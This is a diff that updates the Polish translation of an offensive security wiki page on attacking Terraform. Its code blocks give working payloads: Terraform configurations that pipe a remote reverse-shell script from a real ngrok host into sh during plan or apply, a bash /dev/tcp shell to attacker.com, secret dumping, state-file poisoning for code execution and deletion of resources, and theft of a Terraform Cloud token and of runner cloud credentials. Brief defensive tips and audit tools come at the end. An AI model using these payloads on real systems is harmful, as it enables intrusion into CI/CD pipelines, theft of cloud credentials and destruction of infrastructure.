mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to pl
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# Terraform Security
|
||||
# Terraform Bezpieczeństwo
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,21 +6,21 @@
|
||||
|
||||
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
|
||||
HashiCorp Terraform to **narzędzie infrastructure as code**, które pozwala zdefiniować zarówno **zasoby w chmurze, jak i on‑prem** w czytelnych dla człowieka plikach konfiguracyjnych, które możesz wersjonować, ponownie wykorzystywać i udostępniać. Następnie możesz użyć spójnego workflow do wdrażania i zarządzania całą infrastrukturą przez cały jej cykl życia. Terraform może zarządzać niskopoziomowymi komponentami, takimi jak zasoby obliczeniowe, pamięci i sieciowe, jak również wysokopoziomowymi komponentami, takimi jak wpisy DNS i funkcje SaaS.
|
||||
|
||||
#### Jak działa Terraform?
|
||||
|
||||
Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pośrednictwem ich interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi pracę z praktycznie każdą platformą lub usługą z dostępnym API.
|
||||
Terraform tworzy i zarządza zasobami na platformach chmurowych oraz innych usługach poprzez ich interfejsy programistyczne (APIs). Providery umożliwiają Terraformowi pracę praktycznie z dowolną platformą lub usługą posiadającą dostępne API.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne dostawcy można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
|
||||
HashiCorp i społeczność Terraformu napisały już **ponad 1700 providerów** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne providery znajdziesz w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
|
||||
|
||||
Podstawowy przepływ pracy Terraform składa się z trzech etapów:
|
||||
Podstawowy workflow Terraform składa się z trzech etapów:
|
||||
|
||||
- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w wielu dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.
|
||||
- **Zaplanuj:** Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.
|
||||
- **Zastosuj:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych.
|
||||
- **Write:** Definiujesz zasoby, które mogą obejmować wiele dostawców chmurowych i usług. Na przykład możesz utworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w Virtual Private Cloud (VPC) z security groups i load balancerem.
|
||||
- **Plan:** Terraform tworzy execution plan opisujący infrastrukturę, którą utworzy, zaktualizuje lub usunie na podstawie istniejącej infrastruktury i Twojej konfiguracji.
|
||||
- **Apply:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując zależności między zasobami. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform odtworzy VPC przed skalowaniem maszyn wirtualnych.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -28,41 +28,41 @@ Podstawowy przepływ pracy Terraform składa się z trzech etapów:
|
||||
|
||||
Po prostu zainstaluj terraform na swoim komputerze.
|
||||
|
||||
Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli), a tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
|
||||
Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli) i tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE w Terraform: złośliwe modyfikacje pliku konfiguracyjnego
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
Terraform **nie ma platformy, która udostępniałaby stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform** lub **możliwość modyfikacji pliku stanu terraform** (zobacz rozdział poniżej).
|
||||
Terraform **nie udostępnia platformy z stroną WWW ani usługą sieciową**, którą można by enumerować, dlatego jedynym sposobem na przejęcie terraform jest możliwość **dodawania/modyfikowania plików konfiguracyjnych terraform** lub możliwość **modyfikacji pliku stanu terraform** (zobacz rozdział poniżej).
|
||||
|
||||
Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
|
||||
Jednak terraform to **bardzo wrażliwy komponent** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł prawidłowo działać.
|
||||
|
||||
Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
|
||||
Głównym sposobem dla atakującego na przejęcie systemu, na którym działa terraform, jest **skompromitowanie repozytorium przechowującego konfiguracje terraform**, ponieważ w pewnym momencie zostaną one **zinterpretowane**.
|
||||
|
||||
W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**:
|
||||
W rzeczywistości istnieją rozwiązania, które **wykonują terraform plan/apply automatycznie po utworzeniu PR**, takie jak **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, aby przeprowadzić RCE, gdy ktoś wykona `terraform plan` lub `terraform apply`.
|
||||
Jeśli uda Ci się skompromitować plik terraform, istnieją różne sposoby na wykonanie RCE, gdy ktoś uruchomi `terraform plan` lub `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używają go cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
|
||||
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform uruchamiają je cały czas, więc **najprostszy sposób na uzyskanie RCE** to upewnić się, że zatrujesz plik konfiguracyjny terraform, który wykona dowolne polecenia podczas `terraform plan`.
|
||||
|
||||
**Używając zewnętrznego dostawcy**
|
||||
**Użycie providera external**
|
||||
|
||||
Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraform a programami zewnętrznymi. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`.
|
||||
Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraformem a zewnętrznymi programami. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`.
|
||||
|
||||
Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego jak poniżej spowoduje wykonanie rev shell podczas wykonywania `terraform plan`:
|
||||
Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego spowoduje wykonanie rev shell podczas uruchamiania `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Używanie niestandardowego dostawcy**
|
||||
**Użycie niestandardowego providera**
|
||||
|
||||
Atakujący mógłby wysłać [niestandardowego dostawcę](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w gałęzi funkcji ([przykład stąd](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
Atakujący mógłby przesłać [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w feature branchu ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -75,13 +75,13 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany.
|
||||
Provider jest pobierany podczas `init` i uruchomi złośliwy kod, gdy zostanie wykonany `plan`
|
||||
|
||||
Możesz znaleźć przykład w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
Przykład znajdziesz w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
**Używanie zewnętrznego odniesienia**
|
||||
**Użycie zewnętrznego odwołania**
|
||||
|
||||
Obie wspomniane opcje są przydatne, ale nie bardzo dyskretne (druga jest bardziej dyskretna, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w **bardziej dyskretny sposób**, stosując się do tych sugestii:
|
||||
Obie wymienione opcje są przydatne, ale niezbyt dyskretne (druga jest bardziej dyskretna, lecz bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak w jeszcze bardziej **dyskretny sposób**, stosując się do poniższych sugestii:
|
||||
|
||||
- Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell:
|
||||
```javascript
|
||||
@@ -89,14 +89,14 @@ module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- W zewnętrznym zasobie użyj funkcji **ref** aby ukryć **terraform rev shell code in a branch** w repozytorium, na przykład: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany, możesz go również nadużyć, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku `main.tf`:
|
||||
Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany; możesz też nadużyć go, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Musisz tylko upewnić się, że jakiś payload podobny do poniższych znajduje się w pliku `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
|
||||
Postępuj zgodnie z **sugestiami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej dyskretny sposób, używając zewnętrznych odwołań**.
|
||||
|
||||
## Zrzuty sekretów
|
||||
## Secrets Dumps
|
||||
|
||||
Możesz uzyskać **wartości sekretów używanych przez terraform** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
|
||||
Możesz spowodować, że **secret values used by terraform dumped** uruchamiając `terraform apply` przez dodanie do pliku terraform czegoś takiego:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
@@ -124,15 +124,15 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Wykorzystywanie plików stanu Terraform
|
||||
|
||||
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
|
||||
W przypadku gdy masz prawa zapisu do plików stanu terraform, ale nie możesz zmieniać kodu terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) przedstawia kilka interesujących opcji wykorzystania takiego pliku. Nawet jeśli miałbyś prawa zapisu do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
|
||||
|
||||
### RCE w Terraform: zanieczyszczenie pliku konfiguracyjnego
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
Możliwe jest [stworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie fałszywego zasobu odwołującego się do złośliwego dostawcy.
|
||||
Możliwe jest [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpić jednego z providerów w pliku stanu terraform złośliwym albo dodać fałszywy resource odwołujący się do złośliwego providera.
|
||||
|
||||
Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełna demonstracja można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
Provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na tym badaniu i uzbraja tę zasadę. Możesz dodać fałszywy resource i umieścić dowolne polecenie bash, które chcesz wykonać, w atrybucie `command`. Gdy uruchomione zostanie `terraform`, polecenie to zostanie odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy resource z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełne demo można znaleźć w [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tablicy `resources` i dostosować atrybuty `name` i `command`:
|
||||
Aby użyć tego bezpośrednio, po prostu dołącz poniższy fragment w dowolnym miejscu tablicy `resources` i dostosuj atrybuty `name` oraz `command`:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -152,15 +152,15 @@ Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tab
|
||||
]
|
||||
}
|
||||
```
|
||||
Wtedy, gdy `terraform` zostanie wykonany, twój kod zostanie uruchomiony.
|
||||
Then, as soon as `terraform` gets executed, your code will run.
|
||||
|
||||
### Usuwanie zasobów <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Istnieją 2 sposoby na zniszczenie zasobów:
|
||||
Istnieją 2 sposoby na usunięcie zasobów:
|
||||
|
||||
1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia**
|
||||
1. **Wstaw do pliku stanu zasób o losowej nazwie wskazujący na rzeczywisty zasób do usunięcia**
|
||||
|
||||
Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
|
||||
Ponieważ `terraform` zobaczy, że zasób nie powinien istnieć, zniszczy go (używając wskazanego rzeczywistego ID zasobu). Przykład z poprzedniej strony:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -176,13 +176,13 @@ Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgod
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)**
|
||||
2. **Zmień zasób tak, aby został usunięty w sposób uniemożliwiający jego aktualizację (czyli zostanie usunięty i odtworzony)**
|
||||
|
||||
W przypadku instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
|
||||
Dla instancji EC2 zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
|
||||
|
||||
### Zastąp zablokowanego dostawcę
|
||||
### Zastąp zablokowany provider
|
||||
|
||||
W przypadku napotkania sytuacji, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować dostawcę `external`, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.
|
||||
Jeśli napotkasz sytuację, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować provider `external`, wykonując poniższe kroki. Uwaga: używamy forka providera external opublikowanego pod adresem https://registry.terraform.io/providers/nazarewk/external/latest. Możesz też opublikować własny fork lub ponowną implementację.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -193,27 +193,27 @@ version = "3.0.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
Możesz wtedy użyć `external` jak zwykle.
|
||||
Następnie możesz użyć `external` jak zwykle.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Terraform Cloud speculative plan RCE i eksfiltracja poświadczeń
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
Ten scenariusz wykorzystuje runnerów Terraform Cloud (TFC) podczas spekulacyjnych planów do przejęcia kontroli nad docelowym kontem w chmurze.
|
||||
Ten scenariusz nadużywa Terraform Cloud (TFC) runners podczas speculative plans, aby pivot into the target cloud account.
|
||||
|
||||
- Warunki wstępne:
|
||||
- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w formacie tekstowym w `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Token musi mieć dostęp do docelowej organizacji/obszaru roboczego i przynajmniej uprawnienia `plan`. Obszary robocze oparte na VCS blokują `apply` z CLI, ale nadal pozwalają na spekulacyjne plany.
|
||||
- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w postaci zwykłego tekstu w `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Token musi mieć dostęp do docelowej organization/workspace i co najmniej uprawnienie `plan`. VCS-backed workspaces blokują `apply` z CLI, ale nadal pozwalają na speculative plans.
|
||||
|
||||
- Odkryj ustawienia obszaru roboczego i VCS za pomocą API TFC:
|
||||
- Odkryj workspace i ustawienia VCS za pomocą TFC API:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Wywołaj wykonanie kodu podczas spekulacyjnego planu, używając zewnętrznego źródła danych i bloku "cloud" Terraform Cloud, aby celować w przestrzeń roboczą opartą na VCS:
|
||||
- Wywołaj wykonanie kodu podczas speculative plan, używając external data source oraz Terraform Cloud "cloud" block, aby zaatakować VCS-backed workspace:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
@@ -226,30 +226,30 @@ data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Przykład rsync.sh do uzyskania odwrotnej powłoki na uruchamiaczu TFC:
|
||||
Przykładowy rsync.sh, aby uzyskać reverse shell na TFC runner:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Uruchom spekulacyjny plan, aby wykonać program na tymczasowym runnerze:
|
||||
Uruchom spekulatywny plan, aby wykonać program na ephemeral runner:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Wymień i wyeksfiltruj wstrzyknięte dane uwierzytelniające chmury z runnera. Podczas uruchamiania, TFC wstrzykuje dane uwierzytelniające dostawcy za pomocą plików i zmiennych środowiskowych:
|
||||
- Wypisz i wyeksfiltruj wstrzyknięte poświadczenia chmurowe z runnera. Podczas uruchomień TFC wstrzykuje poświadczenia providerów poprzez pliki i zmienne środowiskowe:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Oczekiwane pliki w katalogu roboczym runnera:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (konfiguracja JSON federacji tożsamości obciążenia)
|
||||
- `tfc-gcp-token` (token dostępu GCP o krótkim czasie życia)
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (krótkotrwały GCP access token)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (konfiguracja założenia roli tożsamości webowej/OIDC)
|
||||
- `tfc-aws-token` (token o krótkim czasie życia; niektóre organizacje mogą używać statycznych kluczy)
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (krótkotrwały token; niektóre organizacje mogą używać statycznych kluczy)
|
||||
|
||||
- Użyj krótkoterminowych poświadczeń poza pasmem, aby obejść bramy VCS:
|
||||
- Użyj krótkotrwałych poświadczeń poza kanałem, aby obejść zabezpieczenia VCS:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
@@ -263,28 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Z tymi poświadczeniami, atakujący mogą tworzyć/modyfikować/niszczyć zasoby bezpośrednio za pomocą natywnych interfejsów CLI, omijając przepływy pracy oparte na PR, które blokują `apply` za pośrednictwem VCS.
|
||||
Dzięki tym poświadczeniom atakujący mogą tworzyć/modyfikować/usuwać zasoby bezpośrednio za pomocą natywnych CLI, omijając przepływy pracy oparte na PR, które blokują `apply` przez VCS.
|
||||
|
||||
- Wskazówki obronne:
|
||||
- Zastosuj zasadę najmniejszych uprawnień dla użytkowników/zespołów TFC i tokenów. Audytuj członkostwa i unikaj zbyt dużych właścicieli.
|
||||
- Ogranicz uprawnienia `plan` w wrażliwych przestrzeniach roboczych opartych na VCS, gdzie to możliwe.
|
||||
- Wymuszaj listy dozwolonych dostawców/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych dostawców. Zobacz wskazówki HashiCorp dotyczące filtrowania dostawców.
|
||||
- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runnerów jako wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress.
|
||||
- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i powiadamiaj o podejrzanym użyciu programów `external` podczas planów.
|
||||
- Defensive guidance:
|
||||
- Stosuj zasadę najmniejszych uprawnień wobec użytkowników/zespołów i tokenów TFC. Audytuj członkostwa i unikaj nadmiernie szerokich uprawnień właścicieli.
|
||||
- Ogranicz uprawnienie `plan` w wrażliwych workspaces opartych na VCS tam, gdzie to możliwe.
|
||||
- Wymuś listy dozwolonych providerów/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych providerów. Zobacz wytyczne HashiCorp dotyczące filtrowania providerów.
|
||||
- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runners jako zasoby wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress.
|
||||
- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i generuj alerty przy podejrzanym użyciu programu `external` podczas planów.
|
||||
|
||||
|
||||
## Narzędzia do automatycznego audytu
|
||||
## Kompromitacja Terraform Cloud
|
||||
|
||||
### Użycie tokena
|
||||
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Ukradzenie tego tokena pozwala atakującemu podszyć się pod użytkownika w zakresie uprawnień tokena.
|
||||
|
||||
Używając tego tokena, można uzyskać org/workspace za pomocą:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Wówczas możliwe jest uruchomienie dowolnego kodu za pomocą **`terraform plan`**, jak wyjaśniono w poprzednim rozdziale.
|
||||
|
||||
### Ucieczka do chmury
|
||||
|
||||
Jeżeli runner znajduje się w środowisku chmurowym, można uzyskać token podmiotu przypisanego do runnera i wykorzystać go poza tym środowiskiem.
|
||||
|
||||
- **Pliki GCP (obecne w katalogu roboczym bieżącego uruchomienia)**
|
||||
- `tfc-google-application-credentials` — konfiguracja JSON dla Workload Identity Federation (WIF), która mówi Google, jak wymienić zewnętrzną tożsamość.
|
||||
- `tfc-gcp-token` — krótkotrwały (≈1 godz.) token dostępu GCP, na który odwołuje się powyższy.
|
||||
|
||||
- **Pliki AWS**
|
||||
- `tfc-aws-shared-config` — JSON dla web identity federation/OIDC role assumption (preferowane zamiast statycznych kluczy).
|
||||
- `tfc-aws-token` — krótkotrwały token, lub potencjalnie statyczne klucze IAM jeśli źle skonfigurowane.
|
||||
|
||||
|
||||
## Narzędzia automatycznego audytu
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki w zabezpieczeniach i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
|
||||
Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa podatności i błędy konfiguracji w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
|
||||
|
||||
- **Funkcje:**
|
||||
- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
|
||||
- Skanowanie w czasie rzeczywistym w celu wykrywania podatności i problemów ze zgodnością.
|
||||
- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
|
||||
- Zautomatyzowane pull requesty z poprawkami.
|
||||
- Szczegółowe porady dotyczące usuwania problemów.
|
||||
- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
|
||||
- Automatyczne pull requesty z poprawkami.
|
||||
- Szczegółowe porady dotyczące naprawy.
|
||||
- **Sign Up:** Utwórz konto na [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
@@ -293,28 +319,28 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
|
||||
**Checkov** to narzędzie do statycznej analizy kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
|
||||
|
||||
